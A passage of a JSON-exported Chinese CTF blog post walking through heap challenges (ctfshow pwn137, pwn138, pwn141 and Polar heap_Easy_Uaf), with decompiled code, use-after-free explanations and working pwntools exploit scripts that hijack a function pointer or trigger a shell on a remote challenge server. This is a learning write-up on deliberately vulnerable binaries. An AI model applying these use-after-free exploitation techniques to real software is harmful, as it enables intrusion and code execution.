                • \u6253\u5370\u793a\u4f8b\u6807\u9898\u548c\u8fdb\u7a0bID\uff08\u4f8b\u5982 sbrk example:1234<\/code>\uff09\u3002<\/li>\n<\/ul>\n\n\n\n
                  \n\n\n\n
                  2. \u83b7\u53d6\u521d\u59cb\u5806\u8fb9\u754c\u5730\u5740<\/strong><\/h3>\n\n\n\n
                  addr = (char *)sbrk(0LL);
                  printf(\"Program Break Location1:%p\\n\", addr);
                  getchar();<\/code><\/pre>\n\n\n\n
                    \n
                  • sbrk(0)<\/code> \u8fd4\u56de\u5f53\u524d\u5806\u7a7a\u95f4\u7684\u7ed3\u675f\u5730\u5740\uff08program break\uff09\uff0c\u4e0d\u6539\u53d8\u5806\u5927\u5c0f<\/strong>\u3002<\/li>\n\n\n\n
                  • \u6253\u5370\u521d\u59cb\u5806\u8fb9\u754c\u5730\u5740\uff08\u5982 0x12345678<\/code>\uff09\u3002<\/li>\n\n\n\n
                  • getchar()<\/code> \u6682\u505c\u7a0b\u5e8f\uff0c\u7b49\u5f85\u7528\u6237\u6309\u56de\u8f66\u7ee7\u7eed\uff08\u65b9\u4fbf\u89c2\u5bdf\u8fc7\u7a0b\uff09\u3002<\/li>\n<\/ul>\n\n\n\n
                    \n\n\n\n
                    3. \u6269\u5c55\u5806\u7a7a\u95f4\uff08\u589e\u52a0 4096 \u5b57\u8282\uff09<\/strong><\/h3>\n\n\n\n
                    brk(addr + 4096);
                    v1 = sbrk(0LL);
                    printf(\"Program Break Location2:%p\\n\", v1);
                    getchar();<\/code><\/pre>\n\n\n\n
                      \n
                    • brk(addr + 4096)<\/code> \u5c06\u5806\u8fb9\u754c\u6269\u5927\u5230 addr + 4096<\/code>\uff08\u4e00\u9875\u5185\u5b58\u7684\u5927\u5c0f\uff09\u3002<\/li>\n\n\n\n
                    • \u518d\u6b21\u8c03\u7528 sbrk(0)<\/code> \u83b7\u53d6\u65b0\u7684\u5806\u8fb9\u754c\u5730\u5740\u3002<\/li>\n\n\n\n
                    • \u6253\u5370\u65b0\u5730\u5740\uff08\u9884\u671f\u503c\uff1aaddr + 0x1000<\/code>\uff0c\u56e0\u4e3a 4096 = 0x1000<\/code> \u5b57\u8282\uff09\u3002<\/li>\n\n\n\n
                    • \u518d\u6b21\u6682\u505c\u7b49\u5f85\u7528\u6237\u56de\u8f66\u3002<\/li>\n<\/ul>\n\n\n\n
                      \n\n\n\n
                      4. \u6536\u7f29\u5806\u7a7a\u95f4\uff08\u6062\u590d\u521d\u59cb\u5927\u5c0f\uff09<\/strong><\/h3>\n\n\n\n
                      brk(addr);
                      v4 = sbrk(0LL);
                      printf(\"Program Break Location3:%p\\n\", v4);
                      getchar();<\/code><\/pre>\n\n\n\n
                        \n
                      • brk(addr)<\/code> \u5c06\u5806\u8fb9\u754c\u6062\u590d\u4e3a\u521d\u59cb\u5730\u5740\u3002<\/li>\n\n\n\n
                      • \u7b2c\u4e09\u6b21\u8c03\u7528 sbrk(0)<\/code> \u83b7\u53d6\u5f53\u524d\u5806\u8fb9\u754c\u5730\u5740\u3002<\/li>\n\n\n\n
                      • \u6253\u5370\u5730\u5740\uff08\u9884\u671f\u503c\uff1a\u4e0e Location1<\/code> \u76f8\u540c\uff09\u3002<\/li>\n\n\n\n
                      • \u6700\u540e\u4e00\u6b21\u6682\u505c\u7b49\u5f85\u7528\u6237\u56de\u8f66\u3002<\/li>\n<\/ul>\n\n\n\n
                        \n\n\n\n
                        5. \u8bfb\u53d6\u5e76\u8f93\u51fa flag \u6587\u4ef6<\/strong><\/h3>\n\n\n\n
                        return system(\"cat \/ctfshow_flag\");<\/code><\/pre>\n\n\n\n
                          \n
                        • \u8c03\u7528 system(\"cat \/ctfshow_flag\")<\/code> \u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u3002<\/li>\n\n\n\n
                        • \u8be5\u547d\u4ee4\u4f1a\u8bfb\u53d6\u5e76\u6253\u5370 \/ctfshow_flag<\/code> \u6587\u4ef6\u7684\u5185\u5bb9\uff08\u901a\u5e38\u7528\u4e8e CTF \u6bd4\u8d5b\u7684 flag \u83b7\u53d6\uff09\u3002<\/li>\n\n\n\n
                        • \u8fd4\u56de\u503c\u662f system<\/code> \u51fd\u6570\u7684\u6267\u884c\u7ed3\u679c\uff08\u901a\u5e38\u4e0d\u9700\u8981\u5173\u6ce8\uff09\u3002<\/li>\n<\/ul>\n\n\n\n
                          \n\n\n\n
                          \u5173\u952e\u70b9\u603b\u7ed3<\/strong><\/h3>\n\n\n\n
                          \u6b65\u9aa4<\/th>\u64cd\u4f5c<\/th>\u76ee\u7684<\/th><\/tr><\/thead>
                          \u521d\u59cb\u72b6\u6001<\/td>sbrk(0)<\/code> \u83b7\u53d6\u5806\u8fb9\u754c<\/td>\u8bb0\u5f55\u5806\u7684\u8d77\u59cb\u5730\u5740 addr<\/code><\/td><\/tr>
                          \u6269\u5c55\u5806<\/td>brk(addr + 4096)<\/code><\/td>\u589e\u52a0 4096 \u5b57\u8282\uff081\u9875\uff09\u7684\u5806\u7a7a\u95f4<\/td><\/tr>
                          \u6536\u7f29\u5806<\/td>brk(addr)<\/code><\/td>\u91ca\u653e\u65b0\u589e\u7684\u5806\u7a7a\u95f4\uff0c\u6062\u590d\u521d\u59cb\u5927\u5c0f<\/td><\/tr>
                          \u6700\u7ec8\u64cd\u4f5c<\/td>system(\"cat \/ctfshow_flag\")<\/code><\/td>\u8f93\u51fa\u76ee\u6807\u6587\u4ef6\u5185\u5bb9\uff08\u6838\u5fc3\u76ee\u7684\uff09<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
                          \n\n\n\n
                          \u6ce8\u610f\u4e8b\u9879<\/strong><\/h3>\n\n\n\n
                          sbrk<\/code> \u4e0e brk<\/code> \u7684\u533a\u522b<\/strong>\uff1a<\/h3>\n\n\n\n
                            \n
                          • sbrk(increment)<\/code>\uff1a\u6309\u589e\u91cf\u8c03\u6574\u5806\u8fb9\u754c\uff0c\u8fd4\u56de\u65e7\u8fb9\u754c\u5730\u5740\u3002<\/li>\n\n\n\n
                          • brk(address)<\/code>\uff1a\u76f4\u63a5\u8bbe\u7f6e\u5806\u8fb9\u754c\u4e3a\u6307\u5b9a\u5730\u5740\u3002<\/li>\n<\/ul>\n\n\n\n
                            \n
                            \u4ee3\u7801\u6838\u5fc3\u529f\u80fd\u662f\u52a8\u6001\u8c03\u6574\u5806\u7a7a\u95f4\u5e76\u6700\u7ec8\u8bfb\u53d6 flag \u6587\u4ef6\uff0c\u5806\u64cd\u4f5c\u672c\u8eab\u662f\u6f14\u793a\u6027\u8d28\uff0c\u5b9e\u9645 CTF \u6311\u6218\u53ef\u80fd\u901a\u8fc7\u5185\u5b58\u5e03\u5c40\u53d8\u5316\u89e6\u53d1\u6f0f\u6d1e\u6216\u7ed5\u8fc7\u4fdd\u62a4\u673a\u5236<\/p>\n<\/blockquote>\n\n\n\n
                            \u968f\u610f\u8f93\u5165\uff0c\u53cd\u6b63\u56de\u8f66\u8ba9\u7a0b\u5e8f\u5230return\u4f4d\u7f6e\u8fd4\u56deflag\u5185\u5bb9\u5c31\u884c\u4e86<\/p>\n\n\n\n
                            pwn138<\/h2>\n\n\n\n
                            \u5f53\u7528\u6237\u7533\u8bf7\u5185\u5b58\u8fc7\u5927\u65f6\uff0cptmalloc2\u4f1a\u9009\u62e9\u901a\u8fc7mmap<\/strong>()\u51fd\u6570\u521b\u5efa\u533f\u540d\u6620\u5c04\u6bb5\u4f9b\u7528\u6237\u4f7f\u7528\uff0c\u5e76\u901a\u8fc7unmmap<\/strong>()\u51fd\u6570\u8fdb\u884c\u56de\u6536\u3002<\/p>\n\n\n\n
                            \u770b\u4e66\u8bf4\u662f\uff08\uff09<\/p>\n\n\n\n
                            pwn141<\/h2>\n\n\n\n
                            \u7b2c\u4e00\u4e2a\u5f88\u7b80\u5355\u7684UAF<\/p>\n\n\n\n
                            \u5148\u7b80\u8ff0\u4e00\u4e0bUAF\u5427<\/p>\n\n\n\n
                            UAF\uff08Use-After-Free\uff09\u5373”\u91ca\u653e\u540e\u4f7f\u7528”\uff0c\u662f\u4e00\u79cd\u5e38\u89c1\u7684\u5185\u5b58\u5b89\u5168\u6f0f\u6d1e\u7c7b\u578b\u3002\u5176\u6838\u5fc3\u6982\u5ff5\u662f\uff1a<\/p>\n\n\n\n
                              \n
                            1. \u5185\u5b58\u91ca\u653e\u540e\u4ecd\u88ab\u4f7f\u7528<\/strong>\uff1a\n
                                \n
                              • \u7a0b\u5e8f\u91ca\u653e\u4e86\u4e00\u5757\u5806\u5185\u5b58\uff08\u901a\u8fc7 free()<\/code> \u7b49\u51fd\u6570\uff09<\/li>\n\n\n\n
                              • \u4f46\u540e\u7eed\u4ee3\u7801\u4ecd\u901a\u8fc7\u4fdd\u7559\u7684\u6307\u9488\u8bbf\u95ee\u8fd9\u5757\u5df2\u91ca\u653e\u7684\u5185\u5b58<\/li>\n<\/ul>\n<\/li>\n\n\n\n
                              • \u60ac\u5782\u6307\u9488\u95ee\u9898<\/strong>\uff1a\n
                                  \n
                                • \u6307\u5411\u5df2\u91ca\u653e\u5185\u5b58\u7684\u6307\u9488\u79f0\u4e3a”\u60ac\u5782\u6307\u9488”<\/li>\n\n\n\n
                                • \u8fd9\u4e9b\u6307\u9488\u6ca1\u6709\u88ab\u7f6e\u4e3a NULL\uff0c\u4ecd\u7136\u6307\u5411\u539f\u6765\u7684\u5185\u5b58\u5730\u5740<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n
                                  \u6f0f\u6d1e\u4ea7\u751f\u6d41\u7a0b<\/h3>\n\n\n\n
                                  \u5206\u914d\u5185\u5b58\u4f7f\u7528\u5185\u5b58\u91ca\u653e\u5185\u5b58\u672a\u7f6e\u7a7a\u6307\u9488\u5185\u5b58\u88ab\u91cd\u65b0\u5206\u914d\u901a\u8fc7\u65e7\u6307\u9488\u8bbf\u95ee<\/pre>\n\n\n\n
                                  \u5177\u4f53\u6b65\u9aa4<\/h3>\n\n\n\n
                                    \n
                                  1. \u5185\u5b58\u5206\u914d<\/strong>\uff1a\u7a0b\u5e8f\u5206\u914d\u5185\u5b58\u5757 A\uff08\u4f8b\u5982 malloc(32)<\/code>\uff09<\/li>\n\n\n\n
                                  2. \u5185\u5b58\u4f7f\u7528<\/strong>\uff1a\u7a0b\u5e8f\u4f7f\u7528\u6307\u9488 P \u64cd\u4f5c\u5185\u5b58\u5757 A<\/li>\n\n\n\n
                                  3. \u5185\u5b58\u91ca\u653e<\/strong>\uff1a\u7a0b\u5e8f\u8c03\u7528 free(P)<\/code> \u91ca\u653e\u5185\u5b58\u5757 A<\/li>\n\n\n\n
                                  4. \u672a\u7f6e\u7a7a<\/strong>\uff1a\u6307\u9488 P \u6ca1\u6709\u88ab\u7f6e\u4e3a NULL\uff08\u5173\u952e\u6f0f\u6d1e\u70b9\uff09<\/li>\n\n\n\n
                                  5. \u5185\u5b58\u91cd\u7528<\/strong>\uff1a\u7cfb\u7edf\u5c06\u91ca\u653e\u7684\u5185\u5b58\u91cd\u65b0\u5206\u914d\u7ed9\u5176\u4ed6\u5bf9\u8c61\uff08\u5185\u5b58\u5757 B\uff09<\/li>\n\n\n\n
                                  6. \u975e\u6cd5\u8bbf\u95ee<\/strong>\uff1a\u7a0b\u5e8f\u901a\u8fc7\u539f\u59cb\u6307\u9488 P \u8bbf\u95ee\u5df2\u91ca\u653e\u7684\u5185\u5b58\n
                                      \n
                                    • \u6b64\u65f6\u5b9e\u9645\u8bbf\u95ee\u7684\u662f\u5185\u5b58\u5757 B \u7684\u5185\u5bb9<\/li>\n\n\n\n
                                    • \u9020\u6210\u6570\u636e\u6c61\u67d3\u6216\u63a7\u5236\u6d41\u52ab\u6301<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n
                                      UAF \u7684\u5371\u5bb3<\/h3>\n\n\n\n
                                        \n
                                      1. \u6570\u636e\u7be1\u6539<\/strong>\uff1a\n
                                          \n
                                        • \u653b\u51fb\u8005\u53ef\u4ee5\u4fee\u6539\u91cd\u5206\u914d\u5185\u5b58\u7684\u5185\u5bb9<\/li>\n\n\n\n
                                        • \u5f71\u54cd\u7a0b\u5e8f\u5173\u952e\u6570\u636e\uff08\u5982\u51fd\u6570\u6307\u9488\uff09<\/li>\n<\/ul>\n<\/li>\n\n\n\n
                                        • \u63a7\u5236\u6d41\u52ab\u6301<\/strong>\uff1a\n
                                            \n
                                          • \u5f53\u5185\u5b58\u5305\u542b\u51fd\u6570\u6307\u9488\u65f6\uff08\u5982\u672c\u9898\u7684 print_note_content<\/code>\uff09<\/li>\n\n\n\n
                                          • \u8986\u76d6\u51fd\u6570\u6307\u9488\u53ef\u6267\u884c\u4efb\u610f\u4ee3\u7801<\/li>\n<\/ul>\n<\/li>\n\n\n\n
                                          • \u4fe1\u606f\u6cc4\u9732<\/strong>\uff1a\n
                                              \n
                                            • \u8bfb\u53d6\u91cd\u5206\u914d\u5185\u5b58\u4e2d\u7684\u654f\u611f\u6570\u636e<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n
                                              \u5728\u672c\u9898\u4e2d\u7684\u4f53\u73b0<\/h3>\n\n\n\n
                                              \u5728\u60a8\u63d0\u4f9b\u7684\u4ee3\u7801\u4e2d\uff1a<\/p>\n\n\n\n
                                              free(*(void **)(*((_DWORD *)&notelist + v1) + 4));
                                              free(*((void **)&notelist + v1));
                                              \/\/ \u7f3a\u5c11\uff1a*((_DWORD *)&notelist + v1) = NULL;  \/\/ \u5173\u952e\u4fee\u590d<\/code><\/pre>\n\n\n\n
                                              \u5bfc\u81f4\uff1a<\/p>\n\n\n\n
                                                \n
                                              1. \u91ca\u653e\u7b14\u8bb0\u540e\u6307\u9488\u672a\u7f6e\u7a7a<\/li>\n\n\n\n
                                              2. \u65b0\u6dfb\u52a0\u7684\u7b14\u8bb0\u91cd\u7528\u5df2\u91ca\u653e\u5185\u5b58<\/li>\n\n\n\n
                                              3. \u901a\u8fc7 pri(0)<\/code> \u8bbf\u95ee\u65f6\uff0c\u5b9e\u9645\u8c03\u7528\u88ab\u8986\u76d6\u7684\u51fd\u6570\u6307\u9488 \uff08pri(0)<\/code>\u662fexp\u91cc\u7684\u5185\u5bb9\uff09<\/li>\n<\/ol>\n\n\n\n
                                                \u7406\u8bba\u5982\u4e0a\uff0c\u73b0\u5728\u5f00\u59cb\u9488\u5bf9\u672c\u9898\u53bb\u5177\u4f53\u5206\u6790\u4e00\u4e0b\uff1a<\/p>\n\n\n\n
                                                \u5e38\u89c4\u68c0\u67e5\u4e00\u4e0bchecksec<\/p>\n\n\n\n
                                                    Arch:       i386-32-little
                                                    RELRO:      Partial RELRO
                                                    Stack:      Canary found
                                                    NX:         NX enabled
                                                    PIE:        No PIE (0x8048000)
                                                    SHSTK:      Enabled
                                                    IBT:        Enabled
                                                    Stripped:   No<\/code><\/pre>\n\n\n\n
                                                32\u4f4d<\/p>\n\n\n\n
                                                \u8fdbmain\u51fd\u6570<\/p>\n\n\n\n
                                                int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
                                                {
                                                  int v3; \/\/ eax
                                                  char buf[4]; \/\/ [esp+0h] [ebp-10h] BYREF
                                                  unsigned int v5; \/\/ [esp+4h] [ebp-Ch]
                                                  int *p_argc; \/\/ [esp+8h] [ebp-8h]
                                                \u200b
                                                  p_argc = &argc;
                                                  v5 = __readgsdword(0x14u);
                                                  init();
                                                  logo();
                                                  while ( 1 )
                                                  {
                                                    menu();
                                                    read(0, buf, 4u);
                                                    v3 = atoi(buf);
                                                    if ( v3 == 4 )
                                                      exit(0);
                                                    if ( v3 > 4 )
                                                    {
                                                LABEL_12:
                                                      puts(\"Invalid choice!\");
                                                    }
                                                    else
                                                    {
                                                      switch ( v3 )
                                                      {
                                                        case 3:
                                                          print_note();
                                                          break;
                                                        case 1:
                                                          add_note();
                                                          break;
                                                        case 2:
                                                          del_note();
                                                          break;
                                                        default:
                                                          goto LABEL_12;
                                                      }
                                                    }
                                                  }
                                                }<\/code><\/pre>\n\n\n\n
                                                \u5185\u5bb9\u8fd8\u662f\u86ee\u6e05\u6670\u7684\uff0c\u6253\u5370\u76ee\u5f55\uff0c\u7136\u540eswitch\u8bed\u53e5\u8fdb\u884c\u5206\u652f\u9009\u62e9<\/p>\n\n\n\n
                                                \u76ee\u5f55\u91cc\u4e5f\u662f\u4e00\u4e00\u5bf9\u5e94\u7684\uff0c\u53bb\u6389exit\uff0c\u4e5f\u5c31\u521a\u597d3\u4e2a\u529f\u80fd<\/p>\n\n\n\n
                                                \u5206\u522b\u662fadd\uff0cdel\uff0cprint<\/p>\n\n\n\n
                                                \u5148\u770badd<\/p>\n\n\n\n
                                                \u6ca1\u5565\u4e1c\u897f\uff0c\u6700\u591a\u52a0\u4e94\u6761note<\/p>\n\n\n\n
                                                \u7136\u540e\u5c31\u662fdel<\/p>\n\n\n\n
                                                del\u5b58\u5728free\u64cd\u4f5c<\/p>\n\n\n\n
                                                \u4f46\u662f\u6709\u70b9\u95ee\u9898<\/p>\n\n\n\n
                                                  if ( *((_DWORD *)&notelist + v1) )
                                                  {
                                                    free(*(void **)(*((_DWORD *)&notelist + v1) + 4));
                                                    free(*((void **)&notelist + v1));
                                                    \/*((_DWORD *)&notelist + v1) = NULL; *\/
                                                    puts(\"Success\");
                                                  }<\/code><\/pre>\n\n\n\n
                                                \u4ed4\u7ec6\u770b\u8fd9\u91cc<\/p>\n\n\n\n
                                                free\u6389\u4e4b\u540e\uff0c\u6ca1\u6709\u7f6e\u96f6<\/p>\n\n\n\n
                                                \u6b63\u5e38\u6765\u8bf4\u5e94\u8be5\u662f\u9700\u8981\u6ce8\u91ca\u91cc\u7684\u8fd9\u4e00\u884c\u624d\u80fd\u907f\u514d\u5b58\u5728UAF<\/p>\n\n\n\n
                                                \u4f46\u662f\u521a\u597d\u6ca1\u6709\u7f6e\u96f6<\/p>\n\n\n\n
                                                \u90a3\u5c31\u53ef\u4ee5\u8003\u8651\u8fdb\u884cUAF\u4e86<\/p>\n\n\n\n
                                                \u540c\u65f6\u53ef\u4ee5\u770b\u5230\u5b58\u5728\u4e00\u4e2ause\u51fd\u6570<\/p>\n\n\n\n
                                                int use()
                                                {
                                                  return system(\"cat \/ctfshow_flag\");
                                                }<\/code><\/pre>\n\n\n\n
                                                \u90a3\u76ee\u6807\u5f88\u660e\u663e\u4e86<\/p>\n\n\n\n
                                                \u9996\u5148\u662f\u6dfb\u52a0\u4e24\u6761note<\/p>\n\n\n\n
                                                \u7136\u540e\u518ddel\u6389<\/p>\n\n\n\n
                                                \u6839\u636euaf\u539f\u7406<\/p>\n\n\n\n
                                                \u518d\u4e00\u6b21add note\u7684\u65f6\u5019<\/p>\n\n\n\n
                                                \u56e0\u4e3a\u4e0a\u4e00\u6b21\u7684\u5806\u5757\u6ca1\u6709\u7f6e\u96f6<\/p>\n\n\n\n
                                                \u6240\u4ee5\u53ef\u4ee5\u5bf9\u5176\u8fdb\u884c\u52ab\u6301\uff0c\u7be1\u6539\u5176\u6307\u9488\u5230use\u51fd\u6570\u7684\u5730\u5740\u4e0a\u53bb<\/p>\n\n\n\n
                                                \u7136\u540e\u518dprint\u7b2c\u4e00\u4e2anote<\/p>\n\n\n\n
                                                \u5c31\u80fd\u83b7\u53d6\u5230flag<\/p>\n\n\n\n
                                                exp\uff1a<\/p>\n\n\n\n
                                                from pwn import *
                                                \u200b
                                                context(arch='i386', log_level='debug', os='linux')
                                                io = process(\".\/pwn141\")
                                                # io = remote(\"pwn.challenge.ctf.show\", 28210)
                                                elf = ELF('.\/pwn141')
                                                use = elf.sym['use']
                                                \u200b
                                                def add(size, content):
                                                    io.recvuntil(b\"choice :\")
                                                    io.sendline(b'1')
                                                    io.recvuntil(b\"Note size :\")
                                                    io.sendline(str(size).encode())  
                                                    io.recvuntil(b\"Content :\")
                                                    io.send(content)  
                                                \u200b
                                                def delete(idx):
                                                    io.recvuntil(b\"choice :\")
                                                    io.sendline(b\"2\")
                                                    io.recvuntil(b\"Index :\")
                                                    io.sendline(str(idx).encode())  
                                                \u200b
                                                def pri(idx):
                                                    io.recvuntil(b\"choice :\")
                                                    io.sendline(b'3')
                                                    io.recvuntil(b\"Index :\")
                                                    io.sendline(str(idx).encode()) 
                                                \u200b
                                                # \u521b\u5efa\u4e24\u4e2anote
                                                add(32, b'aaaa')  #32\u662f\u5185\u5b58\u5206\u914d\u7684\u6700\u5c0f\u5927\u5c0f
                                                add(32, b'bbbb')
                                                \u200b
                                                # \u5220\u9664note\uff08\u7d22\u5f150\u548c1\uff09
                                                delete(0)
                                                delete(1)
                                                \u200b
                                                # \u91cd\u65b0\u6dfb\u52a0\u7b14\u8bb0\u8986\u76d6\u6307\u9488
                                                add(8, p32(use))  
                                                \u200b
                                                \u200b
                                                pri(0)
                                                \u200b
                                                io.interactive()<\/code><\/pre>\n\n\n\n
                                                Polar<\/h1>\n\n\n\n
                                                heap_Easy_Uaf<\/h2>\n\n\n\n
                                                \u8fdb\u6765\u5c31\u5148\u67e5\u4e00\u4e0b\u5427<\/p>\n\n\n\n
                                                Arch:       amd64-64-little
                                                RELRO:      Partial RELRO
                                                Stack:      Canary found
                                                NX:         NX enabled
                                                PIE:        No PIE (0x400000)
                                                Stripped:   No
                                                Debuginfo:  Yes<\/code><\/pre>\n\n\n\n
                                                main\u5206\u6790\u4e00\u4e0b\u770b\u5230\u4ecd\u7136\u662f\u5e38\u89c4\u7684\u83dc\u5355\u9898<\/p>\n\n\n\n
                                                \u524d\u9762\u7684\u51e0\u4e2a\u51fd\u6570\u90fd\u6ca1\u7ec6\u770b<\/p>\n\n\n\n
                                                \u4f46\u662f\u8fdb\u8fd9\u4e2aare<\/p>\n\n\n\n
                                                \u53ef\u4ee5\u660e\u663e\u7684\u53d1\u73b0\u6709\u95ee\u9898<\/p>\n\n\n\n
                                                int __cdecl Are()
                                                {
                                                  int result; \/\/ eax
                                                  int size; \/\/ [rsp+4h] [rbp-1Ch] BYREF
                                                  char *a; \/\/ [rsp+8h] [rbp-18h]
                                                  char *b; \/\/ [rsp+10h] [rbp-10h]
                                                  unsigned __int64 v4; \/\/ [rsp+18h] [rbp-8h]
                                                \u200b
                                                  v4 = __readfsqword(0x28u);
                                                  a = (char *)malloc(0x68uLL);
                                                  strcpy(a, \"Flag\");
                                                  free(a);
                                                  size = 0;
                                                  puts(\"Please Input Chunk size :\");
                                                  __isoc99_scanf(\"%d\", &size);
                                                  getchar();
                                                  b = (char *)malloc(size);
                                                  puts(\"Please Input Content : \");
                                                  gets(b);
                                                  result = strncmp(a, \"Flag\", 4uLL);
                                                  if ( !result )
                                                    return system(\"\/bin\/sh\");
                                                  return result;
                                                }<\/code><\/pre>\n\n\n\n
                                                \u5f88\u660e\u663e\u7684\u51fa\u73b0\u4e86flag\u5b57\u6837<\/p>\n\n\n\n
                                                \u518d\u770b<\/p>\n\n\n\n
                                                \u6709free\u64cd\u4f5c<\/p>\n\n\n\n
                                                \u91ca\u653e\u4e86a\uff0c\u4f46\u5e76\u6ca1\u6709\u5c06a\u6307\u9488\u7f6e\u4e3aNULL<\/p>\n\n\n\n
                                                \u8fd9\u5c31\u5bfc\u81f4\u4e86a\u6210\u4e3a\u4e86\u4e00\u4e2a\u60ac\u5782\u6307\u9488<\/p>\n\n\n\n
                                                \u7136\u540e\u5462\uff0c\u53c8malloc\u4e86\u4e00\u4e2ab<\/p>\n\n\n\n
                                                \u8fd9\u91cc\u5c31\u51fa\u73b0\u4e86\u4e00\u4e2a\u7279\u6027\u95ee\u9898<\/p>\n\n\n\n
                                                glibc \u7684 malloc \u6709\u4e00\u4e2a\u7279\u6027\uff1a\u76f8\u540c\u5927\u5c0f\u7684 free chunk \u4f1a\u88ab\u590d\u7528<\/strong><\/p>\n\n\n\n
                                                \u8fd9\u91cca\u7684\u5927\u5c0f\u662f0x68 = 104<\/p>\n\n\n\n
                                                \u5982\u679c\u8bf4\u6211\u4eec\u5728\u8f93\u5165size\u5927\u5c0f\u7684\u65f6\u5019\uff0c\u7ed9b\u5806\u5757\u540c\u6837\u4e8ea\u7684\u5927\u5c0f\uff0c\u90a3\u4e48\u5c31\u4f1a\u590d\u7528\u521a\u521a\u88abfree\u6389\u7684a\u5757<\/p>\n\n\n\n
                                                \u8fd9\u6837\uff0ca \uff0cb\u5c31\u6307\u5411\u4e86\u540c\u4e00\u5757\u5185\u5b58\u533a\u57df<\/p>\n\n\n\n
                                                \u7136\u540e\u7ee7\u7eed\u5f80\u4e0b\u8fdb\u884c<\/p>\n\n\n\n
                                                gets(b);
                                                result = strncmp(a, \"Flag\", 4uLL);
                                                if ( !result )
                                                    return system(\"\/bin\/sh\");
                                                return result;<\/code><\/pre>\n\n\n\n
                                                if ( !result )<\/code>\u4f1a\u5224\u65adresult\u662f\u5426\u4e3a0\uff0c\u4e3a0\u5219\u771f\uff0c\u8fdb\u5165\u4e0b\u9762\u7684system<\/p>\n\n\n\n
                                                \u800cresult\u7684\u503c\u53d6\u51b3\u4e8ea\u7684\u524d\u56db\u5b57\u8282\u548c”Flag”\u7684\u6bd4\u8f83<\/p>\n\n\n\n
                                                \u5982\u679c\u4e00\u81f4\uff0c\u90a3\u4e48\u5c31\u4f1a\u8fd4\u56de0\uff0c\u53cd\u4e4b\u5219\u8fd4\u56de\u975e0<\/p>\n\n\n\n
                                                \u4f46\u662f\u6211\u4eec\u80fd\u4f20\u5165\u5e76\u4fee\u6539\u7684\u662fb\u7684\u5185\u5b58\u533a\u57df<\/p>\n\n\n\n
                                                \u6240\u4ee5\u5c31\u662f\u4e00\u5f00\u59cb\u8bf4\u5230\u7684\u70b9<\/p>\n\n\n\n
                                                \u8981\u60f3\u4fee\u6539a\u7684\u5185\u5b58\u533a\u57df\uff0c\u4f46\u662fa\u4e00\u5f00\u59cb\u5c31\u88abfree\u6389\u4e86\uff0c\u6240\u4ee5\u53ea\u80fd\u60f3\u529e\u6cd5\u5bf9\u5176\u8fdb\u884c\u590d\u7528<\/p>\n\n\n\n
                                                \u6240\u4ee5\u5728malloc \u8fd9\u4e2ab\u5757\u65f6\uff0c\u5fc5\u987b\u8981\u4f7f\u5176\u5927\u5c0f\u548ca\u7b49\u540c\uff0c\u624d\u80fd\u4f9d\u9760glibc\u7684\u7279\u6027\uff0c\u4f7f\u5176\u6307\u5411\u540c\u4e00\u5757\u5185\u5b58\u533a\u57df<\/p>\n\n\n\n
                                                \u8fd9\u6837\u5c31\u80fd\u901a\u8fc7\u5199b\u5757\u5b8c\u6210\u5bf9a\u6307\u5411\u5185\u5bb9\u7684\u8986\u5199<\/p>\n\n\n\n
                                                \u5206\u6790\u5c31\u8fd9\u4e48\u591a<\/p>\n\n\n\n
                                                exp\uff1a<\/p>\n\n\n\n
                                                from pwn import *
                                                io = remote(\"1.95.36.136\",2128)
                                                \u200b
                                                io.sendline(b'5')
                                                io.sendline(b'104')
                                                io.sendline(b'Flag')
                                                io.interactive()<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
                                                ret2orw \u611f\u89c9\u4f1a\u6210\u6211\u5370\u8c61\u5f88\u6df1\u523b\u7684ORW\u5165\u95e8\u9898 \u5f00\u5c40\u5148checksec RELRO\u534a\u5f00\uff0cNX\u5f00\u7740 \u5148\u56de\u5230I […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-575","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/575","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=575"}],"version-history":[{"count":0,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/575\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=575"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=575"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=575"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}